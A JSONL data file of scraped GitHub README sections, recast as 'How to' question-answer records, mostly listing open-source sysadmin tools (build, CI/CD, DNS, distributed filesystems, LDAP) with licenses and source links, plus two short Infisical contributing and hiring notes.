{"id": "gh_f7b5b1377e0b", "question": "How to: Contributing", "question_body": "About Infisical/infisical", "answer": "Whether it's big or small, we love contributions. Check out our guide to see how to [get started](https://infisical.com/docs/contributing/getting-started).\n\nNot sure where to get started? You can:\n\n- Join our\nSlack\n, and ask us any questions there.", "tags": ["Infisical"], "source": "github_gists", "category": "Infisical", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 24514, "answer_score": 10, "has_code": false, "url": "https://github.com/Infisical/infisical", "collected_at": "2026-01-17T08:19:17.889279"}
{"id": "gh_d817dbbeab6f", "question": "How to: We are hiring!", "question_body": "About Infisical/infisical", "answer": "If you're reading this, there is a strong chance you like the products we created.\n\nYou might also make a great addition to our team. We're growing fast and would love for you to [join us](https://infisical.com/careers).", "tags": ["Infisical"], "source": "github_gists", "category": "Infisical", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 24514, "answer_score": 10, "has_code": false, "url": "https://github.com/Infisical/infisical", "collected_at": "2026-01-17T08:19:17.889284"}
{"id": "gh_8e450ee25592", "question": "How to: Table of contents", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "- [Awesome Sysadmin](#awesome-sysadmin)\n  - [Table of contents](#table-of-contents)\n  - [Software](#software)\n    - [Automation](#automation)\n    - [Backups](#backups)\n    - [Build and software organization tools](#build-and-software-organization-tools)\n    - [ChatOps](#chatops)\n    - [Cloud Computing](#cloud-computing)\n    - [Code Review](#code-review)\n    - [Configuration Management](#configuration-management)\n    - [Configuration Management Database](#configuration-management-database)\n    - [Continuous Integration \\& Continuous Deployment](#continuous-integration-continuous-deployment)\n    - [Control Panels](#control-panels)\n    - [Databases](#databases)\n    - [Deployment Automation](#deployment-automation)\n    - [Diagramming](#diagramming)\n    - [Distributed Filesystems](#distributed-filesystems)\n    - [DNS - Control Panels \\& Domain Management](#dns-control-panels-domain-management)\n    - [DNS - Servers](#dns-servers)\n    - [Editors](#editors)\n    - [Identity Management](#identity-management)\n    - [Identity Management - LDAP](#identity-management-ldap)\n    - [Identity Management - Single Sign-On (SSO)](#identity-management-single-sign-on-sso)\n    - [Identity Management - Tools and web interfaces](#identity-management-tools-and-web-interfaces)\n    - [IT Asset Management](#it-asset-management)\n    - [Log Management](#log-management)\n    - [Mail Clients](#mail-clients)\n    - [Metrics \\& Metric Collection](#metrics-metric-collection)\n    - [Miscellaneous](#miscellaneous)\n    - [Monitoring](#monitoring)\n    - [Network Configuration Management](#network-configuration-management)\n    - [PaaS](#paas)\n    - [Packaging](#packaging)\n    - [Project Management](#project-management)\n    - [Queuing](#queuing)\n    - [Remote Desktop Clients](#remote-desktop-clients)\n    - [Router](#router)\n    - [Service Discovery](#service-discovery)\n    - [Software Containers](#software-containers)\n    - [Status Pages](#status-pages)\n    - [Troubleshooting](#troubleshooting)\n    - [Version control](#version-control)\n    - [Virtualization](#virtualization)\n    - [VPN](#vpn)\n    - [Web](#web)\n  - [List of Licenses](#list-of-licenses)\n  - [External links](#external-links)\n  - [Communities / Forums](#communities-forums)\n  - [Repositories](#repositories)\n  - [Websites](#websites)\n  - [License](#license)\n\n--------------------", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584461"}
{"id": "gh_4f19e20cd335", "question": "How to: Automation", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nBuild automation.\n\n- [Apache Ant](https://ant.apache.org/) - Automation build tool, similar to make, a library and command-line tool whose mission is to drive processes described in build files as targets and extension points dependent upon each other. ([Source Code](https://github.com/apache/ant)) `Apache-2.0` `Java`\n- [Apache Maven](https://maven.apache.org/) - Build automation tool mainly for Java. A software project management and comprehension tool. Based on the concept of a project object model (POM), Maven can manage a project's build, reporting and documentation from a central piece of information. ([Source Code](https://github.com/apache/maven)) `Apache-2.0` `Java`\n- [Bazel](https://www.bazel.io/) - A fast, scalable, multi-language and extensible build system. Used by Google. ([Source Code](https://github.com/bazelbuild/bazel/)) `Apache-2.0` `Java`\n- [Bolt](https://www.puppet.com/community/open-source/bolt) - You can use Bolt to run one-off tasks, scripts to automate the provisioning and management of some nodes, you can use Bolt to move a step beyond scripts, and make them shareable. ([Source Code](https://github.com/puppetlabs/bolt)) `Apache-2.0` `Ruby`\n- [GNU Make](https://www.gnu.org/software/make/) - The most popular automation build tool for many purposes, make is a tool which controls the generation of executables and other non-source files of a program from the program's source files. ([Source Code](https://git.savannah.gnu.org/cgit/make.git)) `GPL-3.0` `C`\n- [Gradle](https://gradle.org/) - Another build automation system. ([Source Code](https://github.com/gradle/gradle)) `Apache-2.0` `Groovy/Java`\n- [Rake](https://ruby.github.io/rake/) - Build automation tool similar to Make, written in and extensible in Ruby. ([Source Code](https://github.com/ruby/rake)) `MIT` `Ruby`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584478"}
{"id": "gh_491a7cb309b2", "question": "How to: Build and software organization tools", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nBuild and software organization tools.\n\n- [EasyBuild](https://easybuild.io/) - EasyBuild builds software and modulefiles for High Performance Computing (HPC) systems in an efficient way. ([Source Code](https://github.com/easybuilders/easybuild-easyconfigs)) `GPL-2.0` `Python`\n- [Environment Modules](https://cea-hpc.github.io/modules/) - Environment Modules provides for the dynamic modification of a user's environment via modulefiles. ([Source Code](https://github.com/cea-hpc/modules)) `GPL-2.0` `Tcl`\n- [Lmod](https://www.tacc.utexas.edu/research-development/tacc-projects/lmod) - Lmod is a Lua based module system that easily handles the MODULEPATH Hierarchical problem. ([Source Code](https://github.com/TACC/Lmod)) `MIT` `Lua`\n- [Spack](https://spack.io/) - A flexible package manager that supports multiple versions, configurations, platforms, and compilers. ([Source Code](https://github.com/spack/spack)) `MIT/Apache-2.0` `Python`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584491"}
{"id": "gh_36c95f18807a", "question": "How to: Cloud Computing", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n[Cloud computing](https://en.wikipedia.org/wiki/Cloud_computing) is the on-demand availability of computer system resources, especially data storage (cloud storage) and computing power, without direct active management by the user.\n\n**Please visit [Cloud Native Software Landscape](https://landscape.cncf.io/?group=projects-and-products&view-mode=card)**", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584497"}
{"id": "gh_c099844c9876", "question": "How to: Code Review", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n[Code review](https://en.wikipedia.org/wiki/Code_review) is a software quality assurance activity in which one or several people check a program mainly by viewing and reading parts of its source code.\n\n**Please visit [awesome-selfhosted/Software Development - Project Management](https://awesome-selfhosted.net/tags/software-development---project-management.html)**", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584502"}
{"id": "gh_c46692d6af8c", "question": "How to: Configuration Management", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n[Configuration management (CM)](https://en.wikipedia.org/wiki/Configuration_management) is a systems engineering process for establishing and maintaining consistency of a product's performance, functional, and physical attributes with its requirements, design, and operational information throughout its life.\n\n- [Ansible](https://www.ansible.com/) - Provisioning, configuration management, and application-deployment tool. ([Source Code](https://github.com/ansible/ansible)) `GPL-3.0` `Python`\n- [CFEngine](https://cfengine.com/) - Configuration management system for automated configuration and maintenance of large-scale computer systems. ([Source Code](https://github.com/cfengine/core)) `GPL-3.0` `C`\n- [Chef](https://www.chef.io/products/chef-infra) - Configuration management tool using a pure-Ruby, domain-specific language (DSL) for writing system configuration \"recipes\". ([Source Code](https://github.com/chef/chef)) `Apache-2.0` `Ruby`\n- [cloud-init](https://cloud-init.io/) - Initialization tool to automate the configuration of VMs, cloud instances, or machines on a network. ([Source Code](https://github.com/canonical/cloud-init)) `GPL-3.0/Apache-2.0` `Python`\n- [Puppet](https://www.puppet.com/) - Software configuration management tool which includes its own declarative language to describe system configuration. ([Source Code](https://github.com/puppetlabs/puppet)) `Apache-2.0` `Ruby/C`\n- [Rudder](https://www.rudder.io/) - Scalable and dynamic configuration management system for patching, security & compliance, based on CFEngine. ([Source Code](https://github.com/Normation/rudder)) `GPL-3.0` `Scala`\n- [Salt](https://docs.saltproject.io/) - Event-driven IT automation, remote task execution, and configuration management software. ([Source Code](https://github.com/saltstack/salt)) `Apache-2.0` `Python`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584509"}
{"id": "gh_fcdce66b60b3", "question": "How to: Configuration Management Database", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nConfiguration management database (CMDB) software.\n\n_Related: [IT Asset Management](#it-asset-management)_\n\n- [Collins](https://tumblr.github.io/collins/) - At Tumblr, it's the infrastructure source of truth and knowledge. ([Source Code](https://github.com/tumblr/collins)) `Apache-2.0` `Docker/Scala`\n- [i-doit](https://www.i-doit.org/) - IT Documentation and CMDB. `AGPL-3.0` `PHP`\n- [iTop](https://www.combodo.com/itop-193) - Complete ITIL web based service management tool. ([Source Code](https://sourceforge.net/projects/itop/files/)) `AGPL-3.0` `PHP`\n- [netbox](https://netbox.dev/) - IP address management (IPAM) and data center infrastructure management (DCIM) tool. ([Demo](https://demo.netbox.dev/), [Source Code](https://github.com/netbox-community/netbox)) `Apache-2.0` `Python`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584515"}
{"id": "gh_9d300b9ccd28", "question": "How to: Continuous Integration & Continuous Deployment", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n[Continuous integration](https://en.wikipedia.org/wiki/Continuous_integration)/[deployment](https://en.wikipedia.org/wiki/Continuous_deployment) software.\n\n- [ArgoCD](https://argo-cd.readthedocs.io/en/stable/) - Declarative, GitOps continuous delivery tool for Kubernetes. ([Source Code](https://github.com/argoproj/argo-cd)) `Apache-2.0` `Go`\n- [Buildbot](https://buildbot.net/) - Python-based toolkit for continuous integration. ([Source Code](https://github.com/buildbot/buildbot)) `GPL-2.0` `Python`\n- [CDS](https://ovh.github.io/cds/) - Enterprise-Grade Continuous Delivery & DevOps Automation Open Source Platform. ([Source Code](https://github.com/ovh/cds)) `BSD-3-Clause` `Go`\n- [Concourse](https://concourse-ci.org/) - Concourse is a CI tool that treats pipelines as first class objects and containerizes every step along the way. ([Demo](https://ci.concourse-ci.org/), [Source Code](https://github.com/concourse/concourse)) `Apache-2.0` `Go`\n- [drone](https://drone.io/) - Drone is a Continuous Delivery platform built on Docker, written in Go. ([Source Code](https://github.com/drone/drone)) `Apache-2.0` `Go`\n- [Factor](https://www.factor.io/) - Programmatically define and run workflows to connect configuration management, source code management, build, continuous integration, continuous deployment and communication tools. ([Source Code](https://github.com/factor-io/factor)) `MIT` `Ruby`\n- [GitLab CI](https://about.gitlab.com/solutions/continuous-integration/) - Gitlab's built-in, full-featured CI/CD solution. ([Source Code](https://gitlab.com/gitlab-org/gitlab-foss)) `MIT` `Ruby`\n- [GoCD](https://www.go.cd/) - Continuous delivery server. ([Source Code](https://github.com/gocd/gocd)) `Apache-2.0` `Java/Ruby`\n- [Jenkins](https://jenkins-ci.org/) - Continuous Integration Server. ([Source Code](https://github.com/jenkinsci/jenkins/)) `MIT` `Java`\n- [Laminar](https://laminar.ohwg.net) - Fast, lightweight, simple and flexible Continuous Integration. ([Source Code](https://github.com/ohwgiles/laminar)) `GPL-3.0` `C++`\n- [PHP Censor](https://github.com/php-censor/php-censor) - Open source self-hosted continuous integration server for PHP projects. `BSD-2-Clause` `PHP`\n- [Strider](https://strider-cd.github.io/) - Open Source Continuous Deployment / Continuous Integration platform. ([Source Code](https://github.com/Strider-CD/strider)) `MIT` `Nodejs`\n- [Terrateam](https://terrateam.io) - GitOps-first automation platform for Terraform and OpenTofu workflows with support for self-hosted runners. ([Source Code](https://github.com/terrateamio/terrateam)) `MPL-2.0` `OCaml/Docker`\n- [werf](https://werf.io/) - Open Source CI/CD tool for building Docker images and deploying to Kubernetes via GitOps. ([Source Code](https://github.com/werf/werf)) `Apache-2.0` `Go`\n- [Woodpecker](https://woodpecker-ci.org/) - Community fork of Drone that uses Docker containers. ([Source Code](https://github.com/woodpecker-ci/woodpecker)) `Apache-2.0` `Go`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584523"}
{"id": "gh_91bea9ac2934", "question": "How to: Control Panels", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nWeb hosting and server or service control panels.\n\n- [Ajenti](https://ajenti.org/) - Control panel for Linux and BSD. ([Source Code](https://github.com/ajenti/ajenti)) `MIT` `Python/Shell`\n- [Cockpit](https://cockpit-project.org/) - Web-based graphical interface for servers. ([Source Code](https://github.com/cockpit-project/cockpit)) `LGPL-2.1` `C`\n- [Froxlor](https://froxlor.org/) - Lightweight server management software with Nginx and PHP-FPM support. ([Source Code](https://github.com/Froxlor/Froxlor/)) `GPL-2.0` `PHP`\n- [HestiaCP](https://hestiacp.com/) - Web server control panel (fork of VestaCP). ([Demo](https://demo.hestiacp.com:8083/login/), [Source Code](https://github.com/hestiacp/hestiacp)) `GPL-3.0` `PHP/Shell/Other`\n- [ISPConfig](https://www.ispconfig.org) - Manage Linux servers directly through your browser. ([Source Code](https://git.ispconfig.org/ispconfig/ispconfig3)) `BSD-3-Clause` `PHP`\n- [Sentora](https://sentora.org/) - Open-Source Web hosting control panel for Linux, BSD (fork of ZPanel). ([Source Code](https://github.com/sentora/sentora-core)) `GPL-3.0` `PHP`\n- [Virtualmin](https://www.virtualmin.com/) - Powerful and flexible web hosting control panel for Linux and BSD systems. ([Source Code](https://github.com/virtualmin)) `GPL-3.0` `Shell/Perl/Other`\n- [Webmin](https://www.webmin.com/) - Web-based interface for system administration for Unix. ([Source Code](https://github.com/webmin/webmin)) `BSD-3-Clause` `Perl`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584530"}
{"id": "gh_3358b3373ac8", "question": "How to: Deployment Automation", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nTools and scripts to support deployments to your servers.\n\n- [Capistrano](https://capistranorb.com/) - Deploy your application to any number of machines simultaneously, in sequence or as a rolling set via SSH (rake based). ([Source Code](https://github.com/capistrano/capistrano)) `MIT` `Ruby`\n- [CloudSlang](https://www.cloudslang.io/) - Flow-based orchestration tool for managing deployed applications, with Docker capabilities. ([Source Code](https://github.com/CloudSlang/score)) `Apache-2.0` `Java`\n- [CloudStack](https://cloudstack.apache.org/) - Cloud computing software for creating, managing, and deploying infrastructure cloud services. ([Source Code](https://github.com/apache/cloudstack)) `Apache-2.0` `Java/Python`\n- [Cobbler](https://cobbler.github.io/) - Cobbler is a Linux installation server that allows for rapid setup of network installation environments. ([Source Code](https://github.com/cobbler/cobbler)) `GPL-2.0` `Python`\n- [Fabric](https://www.fabfile.org/) - Python library and cli tool for streamlining the use of SSH for application deployment or systems administration tasks. ([Source Code](https://github.com/fabric/fabric)) `BSD-2-Clause` `Python`\n- [Genesis](https://github.com/starkandwayne/genesis) - A template framework for multi-environment BOSH deployments. `MIT` `Perl`\n- [munki](https://www.munki.org/munki/) - Webserver-based repository of packages and package metadata, that allows macOS administrators to manage software installs. ([Source Code](https://github.com/munki/munki)) `Apache-2.0` `Python`\n- [Overcast](https://andrewchilds.github.io/overcast/) - Deploy VMs across different cloud providers, and run commands and scripts across any or all of them in parallel via SSH. ([Source Code](https://github.com/andrewchilds/overcast)) `MIT` `Nodejs`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584537"}
{"id": "gh_95113608e1f1", "question": "How to: Diagramming", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nTools used to create diagrams of networks, flows, etc.\n\n- [Diagrams.net](https://app.diagrams.net/) - A.K.A. [Draw.io](https://app.diagrams.net/). Easy to use Diagram UI with a plethora of templates. ([Source Code](https://github.com/jgraph/drawio)) `Apache-2.0` `JavaScript/Docker`\n- [Kroki](https://kroki.io) - API for generating diagrams from textual descriptions. ([Source Code](https://github.com/yuzutech/kroki)) `MIT` `Java`\n- [Mermaid](https://mermaid-js.github.io/mermaid-live-editor/) - Javascript module with a unique, easy, shorthand syntax. Integrates into several other tools like Grafana. ([Source Code](https://github.com/mermaid-js/mermaid-live-editor)) `MIT` `Nodejs/Docker`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584542"}
{"id": "gh_5409faea4d47", "question": "How to: Distributed Filesystems", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nNetwork distributed filesystems.\n\n_See also: [awesome-selfhosted/File Transfer - Object Storage & File Servers](https://awesome-selfhosted.net/tags/file-transfer---object-storage--file-servers.html)_\n\n- [Ceph](https://ceph.com/en/) - Distributed object, block, and file storage platform. ([Source Code](https://github.com/ceph/ceph)) `LGPL-3.0` `C++`\n- [DRBD](https://linbit.com/drbd/) - Distributed replicated storage system, implemented as a Linux kernel driver. ([Source Code](https://github.com/LINBIT/drbd)) `GPL-2.0` `C`\n- [GlusterFS](https://www.gluster.org/) - Software-defined distributed storage that can scale to several petabytes, with interfaces for object, block and file storage. ([Source Code](https://github.com/gluster/glusterfs)) `GPL-2.0/LGPL-3.0` `C`\n- [Hadoop Distributed Filesystem (HDFS)](https://hadoop.apache.org/) - Distributed file system that provides high-throughput access to application data. ([Source Code](https://github.com/apache/hadoop)) `Apache-2.0` `Java`\n- [JuiceFS](https://juicefs.com/) - Distributed POSIX file system built on top of Redis and S3. ([Source Code](https://github.com/juicedata/juicefs)) `Apache-2.0` `Go`\n- [Kubo](https://github.com/ipfs/kubo) - Implementation of IPFS, a global, versioned, peer-to-peer filesystem that seeks to connect all computing devices with the same system of files. `Apache-2.0/MIT` `Go`\n- [LeoFS](https://leo-project.net) - Highly available, distributed, replicated eventually consistent object/blob store. ([Source Code](https://github.com/leo-project/leofs)) `Apache-2.0` `Erlang`\n- [Lustre](https://www.lustre.org/) - Parallel distributed file system, generally used for large-scale cluster computing. ([Source Code](https://git.whamcloud.com/?p=fs/lustre-release.git;a=summary)) `GPL-2.0` `C`\n- [Minio](https://min.io/) - High-performance, S3 compatible object store built for large scale AI/ML, data lake and database workloads. ([Source Code](https://github.com/minio/minio)) `AGPL-3.0` `Go`\n- [MooseFS](https://moosefs.com/) - Fault tolerant, network distributed file system. ([Source Code](https://github.com/moosefs/moosefs)) `GPL-2.0` `C`\n- [OpenAFS](https://www.openafs.org/) - Distributed network file system with read-only replicas and multi-OS support. ([Source Code](https://git.openafs.org/?p=openafs.git;a=summary)) `IPL-1.0` `C`\n- [Openstack Swift](https://docs.openstack.org/developer/swift/) - A highly available, distributed, eventually consistent object/blob store. ([Source Code](https://opendev.org/openstack/swift)) `Apache-2.0` `Python`\n- [Perkeep](https://perkeep.org/) - A set of open source formats, protocols, and software for modeling, storing, searching, sharing and synchronizing data (previously Camlistore). ([Source Code](https://github.com/perkeep/perkeep)) `Apache-2.0` `C`\n- [TahoeLAFS](https://tahoe-lafs.org/trac/tahoe-lafs) - Secure, decentralized, fault-tolerant, peer-to-peer distributed data store and distributed file system. ([Source Code](https://github.com/tahoe-lafs/tahoe-lafs)) `GPL-2.0` `Python`\n- [XtreemFS](https://www.xtreemfs.org/) - Distributed, replicated and fault-tolerant file system for federated IT infrastructures.. ([Source Code](https://github.com/xtreemfs/xtreemfs)) `BSD-3-Clause` `Java`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584550"}
{"id": "gh_81dd7af120ee", "question": "How to: DNS - Control Panels & Domain Management", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\nDNS server control panels, web interfaces and domain management tools.\n\n_Related: [DNS - Servers](#dns---servers)_\n\n_See also: [awesome-selfhosted/DNS](https://awesome-selfhosted.net/tags/dns.html)_\n\n- [Atomia DNS](https://github.com/atomia/atomiadns/) - DNS management system. `ISC` `Perl`\n- [Designate](https://wiki.openstack.org/wiki/Designate) - DNSaaS services for OpenStack. ([Source Code](https://opendev.org/openstack/designate)) `Apache-2.0` `Python`\n- [DNSControl](https://stackexchange.github.io/dnscontrol/) - Synchronize your DNS to multiple providers from a simple DSL. ([Source Code](https://github.com/StackExchange/dnscontrol)) `MIT` `Go/Docker`\n- [DomainMOD](https://domainmod.org) - Manage your domains and other internet assets in a central location. ([Source Code](https://github.com/domainmod/domainmod)) `GPL-3.0` `PHP`\n- [nsupdate.info](https://www.nsupdate.info/) - Dynamic DNS service. ([Demo](https://www.nsupdate.info/account/register/), [Source Code](https://github.com/nsupdate-info/nsupdate.info)) `BSD-3-Clause` `Python`\n- [octoDNS](https://github.com/github/octodns) - DNS as code - Tools for managing DNS across multiple providers. `MIT` `Python`\n- [Poweradmin](https://www.poweradmin.org/) - Web-based DNS control panel for PowerDNS server. ([Source Code](https://github.com/poweradmin/poweradmin)) `GPL-3.0` `PHP`\n- [SPF Toolbox](https://spftoolbox.com) - Application to look up DNS records such as SPF, MX, Whois, and more. ([Source Code](https://github.com/charlesabarnes/SPFtoolbox)) `MIT` `PHP`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584557"}
{"id": "gh_ac6fd0b1100b", "question": "How to: DNS - Servers", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n[DNS](https://en.wikipedia.org/wiki/Name_server) servers.\n\n_Related: [DNS - Control Panels & Domain Management](#dns---control-panels--domain-management)_\n\n_See also: [awesome-selfhosted/DNS](https://awesome-selfhosted.net/tags/dns.html)_\n\n- [Bind](https://www.isc.org/bind/) - Versatile, classic, complete name server software. ([Source Code](https://gitlab.isc.org/isc-projects/bind9)) `MPL-2.0` `C`\n- [CoreDNS](https://coredns.io/) - Flexible DNS server. ([Source Code](https://github.com/coredns/coredns)) `Apache-2.0` `Go`\n- [djbdns](https://cr.yp.to/djbdns.html) - A collection of DNS applications, including tinydns. ([Source Code](https://salsa.debian.org/debian/djbdns)) `CC0-1.0` `C`\n- [dnsmasq](https://www.thekelleys.org.uk/dnsmasq/doc.html) - Provides network infrastructure for small networks: DNS, DHCP, router advertisement and network boot. ([Source Code](https://thekelleys.org.uk/gitweb/?p=dnsmasq.git;a=tree)) `GPL-2.0` `C`\n- [Knot](https://www.knot-dns.cz/) - High performance authoritative-only DNS server. ([Source Code](https://gitlab.nic.cz/knot/knot-dns)) `GPL-3.0` `C`\n- [NSD](https://www.nlnetlabs.nl/projects/nsd/about/) - Authoritative DNS name server developed speed, reliability, stability and security. ([Source Code](https://github.com/NLnetLabs/nsd)) `BSD-3-Clause` `C`\n- [PowerDNS Authoritative Server](https://doc.powerdns.com/authoritative/) - Versatile nameserver which supports a large number of backends. ([Source Code](https://github.com/PowerDNS/pdns)) `GPL-2.0` `C++`\n- [Unbound](https://nlnetlabs.nl/projects/unbound/about/) - Validating, recursive, and caching DNS resolver. ([Source Code](https://github.com/NLnetLabs/unbound)) `BSD-3-Clause` `C`\n- [Yadifa](https://www.yadifa.eu/) - Clean, small, light and RFC-compliant name server implementation developed from scratch by .eu. ([Source Code](https://github.com/yadifa/yadifa)) `BSD-3-Clause` `C`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584565"}
{"id": "gh_bdc9d9af640d", "question": "How to: Identity Management", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n[Identity management](https://en.wikipedia.org/wiki/Identity_management) (IdM), also known as identity and access management (IAM or IdAM), is a framework of policies and technologies to ensure that the right users (that are part of the ecosystem connected to or within an enterprise) have the appropriate access to technology resources.\n\n**Please visit [Identity Management - LDAP](#identity-management---ldap), [Identity Management - Tools and web interfaces](#identity-management---tools-and-web-interfaces), [Identity Management - Single Sign-On SSO](#identity-management---single-sign-on-sso)**", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.88, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584573"}
{"id": "gh_2ba78d0d1c0d", "question": "How to: Identity Management - LDAP", "question_body": "About awesome-foss/awesome-sysadmin", "answer": "**[`^        back to top        ^`](#awesome-sysadmin)**\n\n[Lightweight Directory Access Protocol (LDAP)](https://en.wikipedia.org/wiki/Lightweight_Directory_Access_Protocol) is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol (IP) network.\n\n- [389 Directory Server](https://www.port389.org/) - Enterprise-class Open Source LDAP server for Linux. ([Source Code](https://github.com/389ds/389-ds-base)) `GPL-3.0` `C`\n- [Apache Directory Server](https://directory.apache.org/apacheds/) - Extensible and embeddable directory server, certified LDAPv3 compatible, with Kerberos 5 and Change Password Protocol support, triggers, stored procedures, queues and views. ([Source Code](https://github.com/apache/directory-server)) `Apache-2.0` `Java`\n- [FreeIPA](https://www.freeipa.org/) - Integrated security information management solution combining Linux (Fedora), 389 Directory Server, Kerberos, NTP, DNS, and Dogtag Certificate System (web interface and command-line administration tools). ([Source Code](https://pagure.io/freeipa)) `GPL-3.0` `Python/C/JavaScript`\n- [FreeRADIUS](https://freeradius.org/) - Multi-protocol policy server (radiusd) that implements RADIUS, DHCP, BFD, and ARP and associated client/PAM library/Apache module. ([Source Code](https://github.com/FreeRADIUS/freeradius-server)) `GPL-2.0` `C`\n- [lldap](https://github.com/nitnelave/lldap) - Light (simplified) LDAP implementation with a simple, intuitive web interface and GraphQL support. `GPL-3.0` `Rust`\n- [OpenLDAP](https://www.openldap.org/) - Open-source implementation of the Lightweight Directory Access Protocol (server, libraries and clients). ([Source Code](https://git.openldap.org/openldap/openldap)) `OLDAP-2.8` `C`", "tags": ["awesome-foss"], "source": "github_gists", "category": "awesome-foss", "difficulty": "intermediate", "quality_score": 0.93, "question_score": 32460, "answer_score": 10, "has_code": true, "url": "https://github.com/awesome-foss/awesome-sysadmin", "collected_at": "2026-01-17T08:19:36.584579"}
